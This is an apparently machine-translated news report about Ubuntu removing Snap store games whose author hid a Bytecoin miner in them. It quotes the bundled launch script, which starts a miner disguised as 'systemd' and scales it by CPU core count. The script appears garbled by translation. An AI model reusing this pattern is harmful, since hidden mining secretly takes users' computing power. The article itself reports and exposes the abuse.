Ubuntu removes cryptomining apps from its store


The administrator of the Ubuntu Store has taken all the apps of the developer he signed as "Nicholas Tomb" out of his store, and his email signature reveals an apparent desire to cryptographically mine himself as a success.

Neither Mr. Tomb's "2048buntu" nor the "Hextris app is now available on the store, as the comments about 2048buntu were removed from Github. User Tarwirdur wrote: "This app contains hidden crypto mining apps inside it" (it is mining Bytecoin) How could this be reported.

Here is the code found by Tarwirdur (check the email signature in line 7).

squashfs-root / systemd  - miner
squashfs-root / start  -  init script:
#!/bin/bash

currency=bcn
name=2048buntu

{#try
/ snap / $ name / current / systemd -u myfirstferrari@protonmail.com  -  $ currency 1 -g
} || {#catch
cores =($(grep -c ^ processor / proc / cpuinfo))

(($ cores <4)); then
    / snap / $ name / current / systemd -u myfirstferrari@protonmail.com  -  $ currency 1
else
    / snap / $ name / current / systemd -u myfirstferrari@protonmail.com  -  $ currency 2
fi
}

Canonical's Adam Collard responded, "Yes, we have removed all applications from this author pending further investigation. Thanks for the heads up! "

These applications are created using Ubuntu's "Snaps" tool, which packages the code so that all dependencies work smoothly and installs it using an automatic updater. Canonical created the Snaps program to try and simplify package deployment for Linux distributions.

Ride-alone mining apps are hard to spot: even those with cash and popularity such as Google and Apple miss these malicious apps from time to time. And the much smaller Canonical has the advantage of open source, offering a range of crook code detectors.


Recommended>>
1、Another unmanned passenger ship passes longrange sea trials for the first time in the world
2、RobotFramework Oracle Database Operations
3、The first dead project of the year edrink the person in charge said it was a gimmick two weeks 10000 people registered zero transactions
4、Endgame Crisis Desperado Set for December 13 New AI Fantasy
5、The third assembly of the second season will be absolutely huge and big

    已推荐到看一看 和朋友分享想法
    最多200字,当前共 发送

    已发送

    朋友将在看一看看到

    确定
    分享你的想法...
    取消

    分享想法到看一看

    确定
    最多200字,当前共

    发送中

    网络异常,请稍后重试

    微信扫一扫
    关注该公众号